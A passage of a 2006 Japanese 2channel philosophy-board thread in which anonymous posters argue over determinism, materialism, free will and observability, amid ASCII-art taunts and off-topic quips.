466 :「機械的唯物論」者 ◆Wrk8395W0I :2006/11/17(金) 00:16:54
>>456
>「真理はあるかもしれないし、ないかもしれない」(もっとも、こう発言する時、わたしは真理が存在することを前提とせねばならないが)

(理論)物理学の「この100年間の進歩」を知れば、それが「真理の正体をあぶり出す」方向であるということを
理解できます。
 100年前、初めて人類が飛行機を飛ばした時点では、相対性理論も量子力学も存在しませんでした。
ただ、「原子核の回りを飛翔する電子」が原子であり、あらゆる物質が「原子の組合せである分子」から
成り立っている・・・ことしか知られていなかったのです。
 「137億年以上の過去」という「時間」が存在しえないことが分かったのは、そのあとずいぶん経って
宇宙の果て(最大の過去)を見ることができる望遠鏡が作成されてから・・でしたし、「原子核の構造」が
実は「中性子と陽子」であることや「中性子や陽子はそれぞれ3個のクォークで構成されている」ことなども
全く知り得ませんでした。
 ましてや「電磁気力」と「β崩壊を起こす弱い力」と「陽子と中性子を結ぶ強い力」さらに「重力」を
まとめて説明する「理論」など、想像もつかなかったのですが、いまやそれが「超ひも理論」として実現し
もはや、それ以外の「世界(この宇宙)像」など、到底描きえない所まで(理論)物理学は進化したのです。
・・・さらに「分子生物学」や「大脳生理学」が起こされそれらが描き出している「世界像」を勘案すれば、
「機械的唯物論」が「最終的真理である」・・ということは明らかであり、「残り」は、
細部の「欠け」を補足することしか残されていない・・・ということです。

467 :考える名無しさん:2006/11/17(金) 00:19:45
>>464
現実を離れて(捨象して)規範を語ることに、どんな意味があるのですか。

468 :救いを求める者 ◆7UpSOEZchg :2006/11/17(金) 00:22:09
>>467
規範に利益があるかどうかは私の関心ごとでは無いので知らない。

469 :救いを求める者 ◆7UpSOEZchg :2006/11/17(金) 00:24:56
ひとつ言えるのは、私はどちらかというと、
「規範」概念を倫理学から消化したいわけだ。

ただ、これは(規範の定義ができないという以外においても)なかなか難しい。

470 :考える名無しさん:2006/11/17(金) 01:04:10
規範価値こそ人間界のすべて!

471 :考える名無しさん:2006/11/17(金) 01:23:45
NO!オールユーニートイズラブだよ

472 :考える名無しさん:2006/11/17(金) 01:25:46
オマイラ全てのニートはラブちゃんつーいうことやね

473 :考える名無しさん:2006/11/17(金) 01:28:57
ちがうよ、「愛こそは全て」というビートルズの曲だよ。

474 :考える名無しさん:2006/11/17(金) 01:30:51
だったら「ニード」だろが!?あほくさ寝る

475 :考える名無しさん:2006/11/17(金) 01:32:16
     ∧_∧
    ( ´・ω・`)     ∧_∧
    /     \   (    )ハロワ池よ 
.__| |    .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ 働け!     \|   (    ) 
  |     ヽ           \/     ヽ. オマエ無職だろ
  |    |ヽ、二⌒)        / .|   | |
  .|    ヽ \∧_∧    (⌒\|__./ /


476 :考える名無しさん:2006/11/17(金) 01:32:52


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         _ノ(ノヽノ  .ヽ-ヾ _
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      /  ノ人         ヽ
        | イ・ヽ\)        )
      | .|   |   ヾ)        )  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
      ヾ人__ノ(。。` ヽ       /  |
       | ⌒     |   ノ  ノ < 父さん、このスレがカルト
       人   |     レノ   /   | 電波の発信源だったんだね!!
        ヽ、 ⌒   ノノノノ    \__________
       /~/`ーーーー´/___/ヽ
       / | ̄~|ヽ/\/|   | |
      /  |__|   o  .|__| |

477 :考える名無しさん:2006/11/17(金) 01:35:17
                     / <
                  __>    ̄
                  /   /\ |\
               ハ  // ̄         ユンユン
                / |
          ( ◎) / .|                ユンユン
         _ノ(ノヽノ  .ヽ-ヾ _
       /           \
      /  ノ人         ヽ
        | イ・ヽ\)        )
      | .|   |   ヾ)        )  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
      ヾ人__ノ(。。` ヽ       /  | 父さん、
       | ⌒     |   ノ  ノ < おまけに自作自演電波も
       人   |     レノ   /   | 発信されているよ!!
        ヽ、 ⌒   ノノノノ    \__________
       /~/`ーーーー´/___/ヽ
       / | ̄~|ヽ/\/|   | |
      /  |__|   o  .|__| |

478 :考える名無しさん:2006/11/17(金) 01:36:32
価値論よ、永遠なれ!



価値論よ、永遠なれ!



価値論よ、永遠なれ!


 

479 :考える名無しさん:2006/11/17(金) 01:37:32
     ∧_∧
    ( ´・ω・`)     ∧_∧
    /     \   (    )ハロワ池よ 
.__| |    .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ 働け!     \|   (    ) 
  |     ヽ           \/     ヽ. オマエ無職だろ
  |    |ヽ、二⌒)        / .|   | |
  .|    ヽ \∧_∧    (⌒\|__./ /

最期の晩餐の小ヨハネはユダより崩れているがどれでしょう?

480 :考える名無しさん:2006/11/17(金) 01:39:11
    ___      ___
.   (    )     (    )
     ̄|  |      |  | ̄
     |  |      |  |
     |  |.     |  |
     \ \__/ /
       \    /
       /|.    |ヽ
      / ⊃   ⊂.\
    / /|     |\ \
    ( <  |     |.  > )
    \ \|     |/ /
  __ \__  ___/
  ||\  .:;Σ;:|  |:;て;:. \
  ||\\   """""    \   <パーソナリティ障害隔離病棟スレ
  ||  \|| ̄ ̄ ̄ ̄ ̄ ̄ ̄||
     .  || ̄ ̄ ̄ ̄ ̄ ̄ ̄||
       .||              ||

481 :考える名無しさん:2006/11/17(金) 01:40:49
                  / <
                  __>    ̄
                  /   /\ |\
               ハ  // ̄         ユンユン
                / |
          ( ◎) / .|                ユンユン
         _ノ(ノヽノ  .ヽ-ヾ _
       /           \
      /  ノ人         ヽ
        | イ・ヽ\)        )
      | .|   |   ヾ)        )  / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
      ヾ人__ノ(。。` ヽ       /  | 父なるカミさん、
       | ⌒     |   ノ  ノ < おまけに父さんの自作自演電波も
       人   |     レノ   /   | 発信されているよ!!ばれてる!!
        ヽ、 ⌒   ノノノノ    \__________
       /~/`ーーーー´/___/ヽ


482 :考える名無しさん:2006/11/17(金) 01:46:27
所詮宗教ってのは世俗のお布施を期待する乞食坊主根性しかないので、
小ヨハネもそれに徹してるだけなんだよ。汚いアラシがエスカレートするのは大目に見て上げて下さい。

483 :考える名無しさん:2006/11/17(金) 01:55:12
価値論を認めない機械人間の糞溜めはここだ!!!!
価値論が連中には理解できないらしい。



価値論よ、永遠なれ!










  

484 :319:2006/11/17(金) 02:35:17
>>451
えーと、なんか話の流れが変なほうに行きかけてるので確認しておくけど、
おれは単に、君が「批判して欲しい」って書いてたからそのとおりにしただけなんだが。
それでなんでいきなり煽り口調で相手されて、「目くじら立てる」だの
「食って掛かる」だの言われなきゃならんのか、さっぱりわからんw
こっちは至極穏やかに相手してるつもりなんだが。

あと、これまでのおれの発言は
>>319,>>429,>>440,>>445
>>439はおれじゃない。
これ以外にもいくつか発言はしてるが、君へのレスは上に挙げたやつだけ。

で本題に戻ると、
>「観念は存在しない」という命題はそもそも観念的に語られている以上ナンセンスです。
ってのが君の発言のエッセンスなわけね。
で、おれが聞きたいのは、「観念は存在しない」なんてことを誰が言ったの?ってこと。
上述のように、決定論は観念があるかないかとは関係がないし、
唯物論でも、「観念は存在しない」なんて言わない。
ただ観念やら精神やらはモノの相互作用によって生じる現象として
説明できますよ、ってことを主張してるだけでしょ。

てことで、君の言う「観念は存在しない」って主張は
どんな立場で、またどんな根拠から発したものなのか説明して欲しいんだが。

485 :考える名無しさん:2006/11/17(金) 02:40:07
なんだ

哲学は「超越論的にしか正当化できない」

のだ。「価値論」も一緒だね。

486 :大ヨハネ:2006/11/17(金) 02:49:35
全ての牛を黒くする闇よ

487 :前擦腺 ◆BovECr9/c2 :2006/11/17(金) 03:53:51
>>484
大変わかりやすいです。
僕も同じようなことを感じていました。
唯物論の立場もその通りですね。

488 :考える名無しさん:2006/11/17(金) 05:13:09
変な会話
分からないとこはほったらかしてつつきやすいとこだけ攻めるのな

489 :考える名無しさん:2006/11/17(金) 06:13:43
シェリング

490 :小さなヨハネ ◆1oKmZSIAF. :2006/11/17(金) 06:57:37
>>482 :考える名無しさん :2006/11/17(金) 01:46:27
>所詮宗教ってのは世俗のお布施を期待する乞食坊主根性しかないので、
>小ヨハネもそれに徹してるだけなんだよ。汚いアラシがエスカレートするのは
>大目に見て上げて下さい

ワトソン:よく言うよ。小さなヨハネはAAも貼ってないし、卑猥な書き込みも
     してない。成りすましによる名誉毀損だ。そのうち罰が当たるぞ。
ホームズ:ははは。

491 :35:2006/11/17(金) 07:01:31
>>484
だって、一番どうでもいい『意味』なんてもので批判されたからさ。
別に俺は形而上学的な部分にかかわるつもりはない。

あと自分でも認めるけど、途中俺は認識論的限界と言語論的限界をごっちゃに
してたってのはある。そのせいで大分混乱したかもしれん。

今自分でも読み返してみたところ前半では、人間は観測者足りえないから
決定論は形而上の域を出ることはないだろうということ。
だから正しいかわからないんだよね、ってことだったんだが
第二氏がそれは可能であると反論されたので、ある限界を示そうとした。
その途中で論が認識論的限界から言語論的限界へ移っちゃってたことに
気付いた。俺が批判されるべきはここだったとおも。
この点に関しては確かにその通り。

492 :35:2006/11/17(金) 07:14:33
だから本来の俺の主張は認識は可能だと反論された以前のところで
止まってるんだよね。決定論は形而上学的な域を出ることがないってことで。
でも俺はそれを否定する気はない。結局それを信じるならそれでいい。
信じるか信じないかの問題だろうと。

この辺のわかりきってたところを批判されたから腹が立ったわけで。

まあ、どちらにしろ認識は不可能であるっていう主張はかわらん。
俺の間違いは言語論的アプローチにより証明しようとしてるうちに
認識論的限界でなく言語論的限界に論がすりかわっていたところだ。
多分その辺を修正すればいいんだろうけど止めとく。
そろそろ受験生に戻らないと。

とまぁ、こんな感じ?

493 :35:2006/11/17(金) 07:27:24
読み返したらもう一個補足が必要なことに気付いた。
319氏の決定論は一つのモデルであるという主張だかこれはまったくその通り
なのだが俺がいってたのは結局観測者もそのモデルの一部だから
それをもとに論を組み立てることはできても、正しいかどうかはわからんということ。
↑ここがまさにごっちゃになったところだね。


だから基本的に319氏の主張自体は俺にとってどうでもよかったわけだね。
ま、俺の修業不足だか。

やべ、携帯からなもので大分混沌とした文章になっちまったかもしれん。

494 :考える名無しさん:2006/11/17(金) 07:46:22

     ∧_∧
    ( ´・ω・`)     ∧_∧
    /     \   (    )ハロワ池よ 
.__| |    .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ 働け!     \|   (    ) 
  |     ヽ           \/     ヽ. オマエ無職だろ
  |    |ヽ、二⌒)        / .|   | |
  .|    ヽ \∧_∧    (⌒\|__./ /


495 :前擦腺 ◆BovECr9/c2 :2006/11/17(金) 07:59:38
>>493
演繹的に結論できないことはすべて形而上のものである、ということですか?
例えば進化ですが(もう何度も言っていますが・・・)、
ほぼ事実ですが、実証するのは不可能です。
帰納的にみて、極めて蓋然性が高いと言える、というのにとどまります。
これも「形而上的な域をでない」というのでしょうか。

ただ、決定論に関しては、完全に理論物理学からの帰結です。
それが着実に進歩をとげている以上、「決定論が正しいかどうか」という答えには近づきつつあるのでしょう。
その系に人間が組み込まれているからそのことを認識しえない、というのは一見もっともらしいですが(僕にとってはもっともらしくないですが)、
根拠がないように思います。

496 :35:2006/11/17(金) 08:04:57
>>495
違います。結局問題は、人は自分自身を語ることはできない、
いや、それが正しいということを証明できないということだったのです。

このまま消えるのも後味が悪いので帰ったら最後にまとめます。

497 :考える名無しさん:2006/11/17(金) 09:01:44
それは実によくできた理論である。
私の考えでは、その唯一の欠点は、おそらくすべての哲学理論に共通のこと、
すなわち、間違っているということである。
その代わりに別の理論を私が提案しているのだ、と思われるかもしれない。
しかし、そうではないことを望みたい。
なぜなら、もしそれが理論ならば、それもまた間違っているに決まっているからである。



498 :考える名無しさん:2006/11/17(金) 10:10:39
女は生まれつき女なのではない、女になるのだ

499 :考える名無しさん:2006/11/17(金) 11:31:14

廃人だらけ

500 :考える名無しさん:2006/11/17(金) 12:56:33
>>497
それだれだっけ。

501 :ニーチェ:2006/11/17(金) 14:13:07
論文とは馬鹿の書くものである

502 :考える名無しさん:2006/11/17(金) 14:54:11
面白い哲学スレ→http://www.i-gainax.jp/index.php?uid=NULLGWDOCOMO&mmmsid=gainax&actype=page&page_id=contri_top

503 :319:2006/11/17(金) 15:55:54
>>491-493
>319氏の決定論は一つのモデルであるという主張だかこれはまったくその通り
>なのだが俺がいってたのは結局観測者もそのモデルの一部だから
>それをもとに論を組み立てることはできても、正しいかどうかはわからんということ。
ここは双方合意しているのでもうどうでもいいということで。

そもそもおれがレスしたのは、君が決定論は不可能だとかナンセンスだとか言ってる
その意味がよくわからんかったので、どういう意図で言ってるのか確認したかったから。
で、何度かやりとりして、結局君の言いたいことは
>「観念は存在しない」という命題はそもそも観念的に語られている以上ナンセンスです。
ってことにまとめられるってわかったわけだ。(それでいいよね?)

で、やっと核心が見えたので、それに対しておれは>>451で、決定論も唯物論も
「観念は存在しない」なんて主張はしてないと説明し、その上で
>てことで、君の言う「観念は存在しない」って主張は
>どんな立場で、またどんな根拠から発したものなのか説明して欲しいんだが。
と要求したわけだ。
これに対しての君からの返答はまだないようなので、引き続き待つことにする。
勉強の合間にでもレスよろしく。

504 :319:2006/11/17(金) 16:35:05
おっとすまん。
上の「>>451で」ってのは「>>484で」のまちがいだ

505 :35:2006/11/17(金) 19:00:38
>>503
> >「観念は存在しない」という命題はそもそも観念的に語られている以上ナンセンスです。
ってことにまとめられるってわかったわけだ。(それでいいよね?)

んじゃそれでいいよ。実際は違うけど。

> で、やっと核心が見えたので、それに対しておれは>>451で、決定論も唯物論も
「観念は存在しない」なんて主張はしてないと説明し、

なら、『俺の論自体がナンセンス』ということでは?ただの勘違い。俺からの返答は待つまでもなし。

506 :考える名無しさん:2006/11/17(金) 19:01:20
虚構世界内存在→http://www.i-gainax.jp/index.php?uid=NULLGWDOCOMO&mmmsid=gainax&actype=page&page_id=contri_top

507 :考える名無しさん:2006/11/17(金) 19:14:05
このスレは量子力学を認めないということだ。
量子力学は客観を認めないからな。

508 :35:2006/11/17(金) 19:24:54
さてと、どこから修正していこうか。

まず、当初俺は認識論的に『決定論は正しい』ということは分からないという論を展開していたわけだ。
それを、途中の反論に答えているうちに言語論的に成り立たないという話に話題がすりかわってしまった。
これが俺の最大の間違いだ。この辺で混乱させちゃったんだと思う。申し訳ない。
なんで言語論的な限界へと逃げたかというと、あのウィトゲンシュタイン的な身も蓋もなさが魅力的だったからだろう。
でもまあ、このへんはもうどうでもいいのです。

展開を最初に戻すと、つまり俺は一貫して「決定論は語ることはできるが、証明できない」
ということを示そうとしていた、ということなのです。

その論理展開は今思えばめちゃくちゃ単純だったのに、俺が混乱してたせいでわかりずらくなったわけですね。

以下、次のレス。

509 :考える名無しさん:2006/11/17(金) 19:26:33
関係学はそういうものなのだ。

510 :35:2006/11/17(金) 20:07:52
前提として決定論は帰納法的にしか証明することはできません。
ここまでなら自然科学等となんら変わりはないのですが、問題なのは厳密に決定論を世界全体に
適応しようとするなら、そこには観測者本人もはいらなきゃなりません。

すると、そこには「客観的な観測」というのは成り立たないわけです。
なぜなら、<私>を観測する「私」を観測する私、というように収束しないからです。
じゃあ、自然科学には可能なのか?というと、それはまた違った問題なのでおいておきます。
「観測問題」はこのときたいした問題ではありません。

重要なのは、宇宙全体の動きとか物理法則とか、その他の一般法則などの全事象をたとえ網羅したとしても、
なおまさに今観測を行っている「自己」は決定論的に動くのか証明できないという点です。
このときの「自己」というのはまた論じると長くなりそうなので、単に「視点としての意識」とでもとらえてください。
なので、決定論は証明できない。

ここまでが前半だったわけです。

さて、ここまで読んできて気づいた人も多いと思いますが、では意識の働きについて解明された場合はどうか?
たとえば「ある人物A、B、Cの意識の働きを解明した」のであれば、<私>の意識も
そのようにはたらいているので”あろう”。という帰納的推論が成り立ちます。そうなのです。
結局自己という主観の存在から「決定論は証明が不可能であること」を示すことには失敗したわけです。
一応、独我論的に考えるならば、否定することも可能なのですが、しかし、それは形而上学的な領域に踏み込み、
また、認識論的な議論になってしまうので、俺の望むところではない。

そこで俺は言語論的アプローチからなんとかその限界を引こうとしてまたもや失敗。
余計に錯綜することとなって今に至るわけです。

まあ、なんてことはない、まとめるなら単に俺は自己という主体の存在からの決定論への
アプローチに失敗したわけです。以上。あんまり自分語りをしてもろくなことがないのでこの辺にしておきますが、
こんなもんでいいですか?>俺に意見してた人ALL

511 :考える名無しさん:2006/11/17(金) 20:19:01

     ∧_∧
    ( ´・ω・`)     ∧_∧
    /     \   (    )ハロワ池よ 
.__| |    .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ 働け!     \|   (    ) 
  |     ヽ           \/     ヽ. オマエ無職だろ
  |    |ヽ、二⌒)        / .|   | |
  .|    ヽ \∧_∧    (⌒\|__./ /


512 :319:2006/11/17(金) 20:19:56
>>510
勘違いだったってことで終わりにするなら特にこれ以上言うことはないな。
話広げようと思えば広げられるがそろそろまじで勉強に差し障るだろうからやめとく。

じゃ入試に向けてがんばって

513 :第2唯物論 ◆qBkUSoWgX. :2006/11/17(金) 20:39:13
  >問題なのは厳密に決定論を世界全体に
適応しようとするなら、そこには観測者本人もはいらなきゃなりません。

>すると、そこには「客観的な観測」というのは成り立たないわけです。
なぜなら、<私>を観測する「私」を観測する私、というように収束しないからです

 ここで全ては決定してた場合、後半の言説は人間が未来は全て決定しているという観測を見出せない場合だろう??
もし見出せれば客観的的観測も可能であるという余地が出るんだろう.私を観測する私も出るんじゃないか

 要するの全ては決定してるという観測はいまのところできないといってるに過ぎないと思うぜ

 ところでこの辺で止めてマジで勉強しろ
決定論が正しいかどうかも物理化学を勉強すればわかるようになる
俺が言い方が下手でみなが納得しないが「現実は」自然科学的に決定論は間違いだとちゃんと証明できるぜ
ほんとにうまくいえないで申し訳ないが,物理化学の領域の無数の係数から生命現象は余りに非線形だから決定してないのさ
ちゃんと科学を大学で勉強するとわかるようになるから今は2ちゃん止めて勉強しろ
きみは頭は立つがまだまだわからないとこが多いんだよ

 それとは別にこの投稿の前半を考えても結構だがはしょっていうと、きみはいろんな角度で決定論は成り立つとは観測できないといってるに過ぎない、決定論自体はそういうことだから今は勉強しろ,
レスはいらないぜ

 最後に頭の中の思考でなくて常に現実がどうであるかに依拠するのが唯物論だともいえるそこをわかって欲しい
とりあえず唯物論が観念論と違うのはそこだそこだけだ、じゃな勉強して合格しろ、全てはそれからで遅くない



514 :ディオニュソス:2006/11/17(金) 20:53:32
出来事たる一切である世界の構成要素である各々の対象がそれぞれ何らかの
仕方で相互に向き合っているとするのならば、向きを規定しているユーグリ
ッド的な意味での絶対の「点」がなければならないということになる。
事物とその区別が、たとえ感覚された外界が単なる生物学的必要性に基づく
解釈としての認識機能でしかないとしても、そしてたとえ現時点までに
おける唯物論を放棄しすべての構成要素を感性的情報へとばらばらに分解
することで「物質性」を克服する試みがなされたとしても、現に事物とその
区別が感覚されてしまっているという時点でこの不可解で名状しがたい
形而上学的「点」を「少なくとも現時点で通常だとされている認識機能を
持つ人間」としてはこれを容認せねばならなくなるということになる。

汎心論や感性的要素一元論は観念論と同じく「点」の問題を克服できて
はいない。

515 :ディオニュソス:2006/11/17(金) 21:17:21
感性的要素の相互作用によって成り立つ情報世界はいったいどのようにして
多様な形態を保存しつつ「点」を持たない無限大を克服しうるのか?

516 :考える名無しさん:2006/11/17(金) 22:15:28
ごめんなさい
ここって、すっごく議論がすすんでしまうのね。
>>508
『決定論は正しい』ないし『決定論は証明できない』といってる方。
「決定論とは〜である」の〜はどう説明されているのかしらぁ?
ほんとは全部見るべきかもね。でもあたしぃ不精なの。
『馬は正しい』とはなんのことかわからないわよね。もともと『正しい』という概念は判断概念だから「AはBである」ないし「BにAがある」という原子命題が在って、そのうえで正しい、とか間違いとかいうものよね。
『証明可能』概念も似たようなものと思うわ。
親切なボランティア〜、いらっしゃったら、おせーて♪


517 :ディオニュソス:2006/11/17(金) 22:38:06
形而上学的「点」の実在を完全に否定できた上でなら、意識されうるものの
全ては何ら原因たり得ず、下部構造によってその現れ方も規定されてしまって
いるということになる。ここにおいては勿論「真心」なるものも下部構造の
機構に基づく信号に過ぎないということになる。それゆえ意識の上では
「心から」熱烈に愛しつつ下部構造はそれと全く逆の結末へと導くというこ
ともあり得る。(シェークスピアの悲劇など)

ところでこの「下部構造」なるものはもちろんフロイトの言うような個人の
無意識ではないであろう。個人の無意識欲求充足という時点でもはや「点」
としての自己原因となってしまうであろうから。それと同様に「遺伝子」
だの「集合無意識」だのといったいわば類としての目的因もまた以上の理由
から棄却されてしまう。

しかしこの一連の、あまりにも単純で馬鹿げたものにすら見える解釈が正しい
ものであるとした上でもなお我々はそれをよもや心底信じきってはいまい。

なぜなら私も君もまだ今は何とか生存をつないではいるからだ。

我々の感覚論的起源にまつわる形而上学的「点」の幻想(?)は、ほかならぬ
人間の生としての「この形態」をともかくも現時点において保障しているものな
のである・・・。

518 :第2唯物論 ◆qBkUSoWgX. :2006/11/17(金) 22:50:12
>>516 きみが誰だか俺はわかるぜ,俺が誰だかきみはわかるか

519 :第2唯物論 ◆qBkUSoWgX. :2006/11/17(金) 22:55:18
>>517 >ところでこの「下部構造」なるものはもちろんフロイトの言うような個人の
無意識ではないであろう

 むろんイコールでは全然ないが.下部構造が蒸し器というか半意識になる例は結構多くある
唯物論は論理の整然さでなくあくま事実を見る,ただし初めからあまり複雑には記述したくない

520 :第2唯物論 ◆qBkUSoWgX. :2006/11/17(金) 22:56:37
  失礼 蒸し器ー−ー>無意識    それと −−−>あくまで事実を見る

521 :ディオニュソス:2006/11/17(金) 23:35:07
各人の感覚の仕方と感覚受容体のあり方の特殊性が我々の身体および行動に
及ぼす影響。というよりむしろ一個体としての人間の生は、それらの特殊性
が民族としての習慣などにより派生した形態に過ぎないにしてもほとんどこ
れだけである。つまり例えば我々大多数の日本人にはグレゴリオ聖歌は肌に
合わないのである。強い民族性とはつまるところもはや完全に血肉化してし
まい殆ど意識されることすら忘却されてしまっているところの根深い神話性
のことなのである。生理的な意味での強い民族性体質を前提とした異質な
ものの少しずつの消化。それが可能であればこそ外部を自身の内側へと貪欲に
取り込み、我慢のならなかったものを我慢できるようにし、ついには自身に
同化することもまた可能となるのである。もしそうでないと我々はきっと病気
になるだろう。

「消化する」とは自身の確固たる生理的規範に従って異質なものを改変し支配
し、有用化することである。精神とはひとつの胃に他ならない。

522 :考える名無しさん:2006/11/17(金) 23:37:40
あたしぃの決定論と自由意志論の概観ね。
時間t2>t1とする。
(1)時間t1において事実世界の状態はAと記述できる。
  時間t2において事実世界の状態はBと記述できる。
  AとBは一定の関数の変数として記述可能・・・決定論。

時間t1において『わたし』はB1,B2の選択肢を持つ
『わたし』はt2においてB1を選ぶことが出来る、またはB2を選ぶことが出来る。・・・自由意志論
『わたし』はt2において「B1を選ぶことは出来ない、またはB2しか選べない」
かつ「B2を選ぶことは出来ない、またはB1しか選べない」・・・決定論

自由意志論において『わたし』の概念は必要条件である。
決定論において『わたし』はでてこない。両者を同一に比較するのは間違いである。

・・・てな感じではいかが?


523 :考える名無しさん:2006/11/17(金) 23:41:49
>>522
過去ログを読めば分かるが、記述可能性を決定論に組み込んでる
決定論者はほとんどいない。

524 :救いを求める者 ◆7UpSOEZchg :2006/11/17(金) 23:49:03
世界解釈の前提としての決定論は、

「ふたつの対象の諸関係は一意的である」

という命題を立てる。これは、

「実際に、ふたつの対象の諸関係は一意的である」

ということではない。

「世界解釈を行うとき、私は、ふたつの対象の一意的な
諸関係があると信じるし、そういう風に解釈するように
努力しよう」

という決断の表明である。
したがって、証明の対象ではない。

525 :考える名無しさん:2006/11/17(金) 23:56:19
>唯物論は論理の整然さでなくあくま事実を見る,
唯物論では「わたしがいる」とは記述できないわ。
「ディオニソスがいる」は記述可能ね。


526 :考える名無しさん:2006/11/17(金) 23:59:21
>記述可能性を決定論に組み込んでる決定論者はほとんどいない。
記述可能性こそ、決定論と自由意志論の判定基準。


527 :考える名無しさん:2006/11/18(土) 00:04:34
決定論は時間t1、t2のなかで記述されるわね。ところで、わたしの時間っていうと、「過去、現在、未来」というわね。
唯物論、ないし決定論ではこの区分を使えるのかしら?時間のこの区分は何を意味すると思いますか?

528 :ディオニュソス:2006/11/18(土) 00:07:34
>>526
記述可能性としてはたとえ不規則なロジスティック解であるとしても、ともかく
確かに可能は可能であろう。延々と可能であろう・・。「可能であることは
必然」だろう・・。

トップダウン的な何の脈絡もない自己原因としての自由意志が干渉するので
あれば記述は「不可能であることが必然的である」

529 :考える名無しさん:2006/11/18(土) 00:14:50
>>527
なんで女の振りするの?


530 :考える名無しさん:2006/11/18(土) 00:16:15
だから記述可能性は決定論の必要条件ではない。以上。
あくまでもポパーがいうところの科学的決定論とやらにこだわりたいなら
お好きにどうぞ。

531 :考える名無しさん:2006/11/18(土) 00:18:24
>>528
>「可能であることは必然」だろう・・。
あたしぃ、クリプキモデルあまり好きじゃないわ。
あれって、可能判断を命題論理に似せて、普遍性をもたせただけでしょ。
現実世界の可能判断って「あたしぃできるかしら」とか「そうかもしれないね」とか主観的ファジィが主なもの。
確率の方が使いかっていいわよ。


532 :ディオニュソス:2006/11/18(土) 00:22:03
>>531

ああ、そうかい・・・すまんな。

もう寝るかもしれない・・・。

533 :考える名無しさん:2006/11/18(土) 00:27:55
>だから記述可能性は決定論の必要条件ではない。以上。
それって、あくまで唯物論に拘っているからでしょ。

この宇宙の根源的存在形式は物質である。物質の振る舞いの様子は、物理法則で書くことができる。特に宇宙の中の物質の振る舞いの様子をもっとも普遍的に記述することの出来る『究極の理論』がすくなくとも近似的には存在するはずである。

「物質がある」は真なる命題?
あたしぃ、「時空に物質がある」の略だと思うわ。
つまりぃ、『時空』と『物質』というふたつのカテゴリーがどうしても必要ね。
だから、記述が先よ。


534 :考える名無しさん:2006/11/18(土) 00:34:58
>>533
誰も唯物論の話なんかしてない。決定論の話だ。

535 :考える名無しさん:2006/11/18(土) 00:43:58
つーか、もう>>1のテンプレ外して決定論スレ立てた方がよくね?

536 :考える名無しさん:2006/11/18(土) 01:52:34
    ___      ___
.   (    )     (    )
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      / ⊃   ⊂.\
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    \ \|     |/ /
  __ \__  ___/
  ||\  .:;Σ;:|  |:;て;:. \
  ||\\   """""    \   <パーソナリティ障害隔離病棟スレ
  ||  \|| ̄ ̄ ̄ ̄ ̄ ̄ ̄||
     .  || ̄ ̄ ̄ ̄ ̄ ̄ ̄||
       .||              ||

537 :35:2006/11/18(土) 05:19:06
ごめん。ちょっと除いてみたらマジでむかついた(これまでで一番)だったのでレスする。

>要するの全ては決定してるという観測はいまのところできないといってるに過ぎないと思うぜ

だから俺はそう結論づけたんだろうが。ちゃんと読め。
自己の存在からのアプローチに失敗したということは結局観測問題に収束するんだよ。
あんたのいってることなど百も承知。というか、量子論的には今後もずっと不可能。

>物理化学の領域の無数の係数から生命現象は余りに非線形だから決定してないのさ

アホか。非線形物理学においても、それは予測ができないってだけだ。
あんたのいってるのはそのまま「明日の天気は決定してない」っていってるのといっしょ。
むしろカオス理論の登場によって一見ランダムな事象も、実際は決定論的規則にしたがっていると
されるようになったわけだが?
つまりあんたは「予測できないことは決定してない」とでも言ってるわけか?

結局「予測ができない」⇒「決定論は成り立たない」とはならないんだよ。決定論を否定するには
因果律によらない事象があることを証明せにゃならん。あんたの言ってるのは単に「予測ができない」ってだけだろ。
その程度のことも誤解してるようだからわけがわからなくなる。偉そうな態度をとる前にもう一回大学入りなおしてきたら?

んじゃマジで消えます。

538 :考える名無しさん:2006/11/18(土) 05:47:45
もうただの信仰だな
どっか他の板に行けよ

539 :前擦腺 ◆BovECr9/c2 :2006/11/18(土) 06:31:36
>>537
第二さんくらいで腹を立てているようだと、
最高位さんなんかと話したらもう爆発しっぱなしですね・・・きっと。

決定論に関しては、それ自体を議論する必要はないと思います。
ほとんどそれを否定するような材料がないような現時点では、議論しても結果が見えています。
むしろ現在の流れからは(このスレでも、物理学でも)、「決定論を否定することが不可能」であることが証明されつつあるように思います。
そういったことを論じるよりも、そういった世界の中での倫理のあり方だとか、生きがいの持ち方、といったことを論議する方が進歩的なのではないでしょうか。


大学受験では、どの学部を受験するのでしょうか?
理系でしょうか、文系でしょうか?
高校のご友人の方たちも、こういった話をしたりするんでしょうかねえ。としたら、うらやましい。

540 :小さなヨハネ ◆1oKmZSIAF. :2006/11/18(土) 07:09:10
ファニー・モイスィーバ
「何事も運命とか宿命のせいにしてはなりません。運命や宿命は存在しない
 からです。人の人生が初めから決定されているとすれば、どうして神はそ
 の人の善に報いたり、罪を罰したり出来るでしょうか。

 人間の行為は自分自身の意志の結果です。人生は戦いであり、私たちは常
 に神の助けを求めなければならないのです。神の介入によって、どれほど
 多くの問題が解決されてきたか分かりません。

 運命は存在しません。この言葉と観念は人間が作り出したものなのです。
 各自の人生は自分自身の意志、また善悪の行動に従って造られるものです。
 人間は自分自身の人生の主人公であり、まさにそのために知性が与えら
 れているのです。」

541 :考える名無しさん:2006/11/18(土) 07:11:48
     ∧_∧
     ( ゜∀゜ )ヘラヘラ ∧_∧
    /     \   (    )働けよ 
.__| |    .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ ニートかよ   \|   (    ) 
  |     ヽ           \/     ヽ. 朝から晩まで自作自演かよ
  |    |ヽ、二⌒)        / .|   | |
  .|    ヽ \∧_∧    (⌒\|__./ /


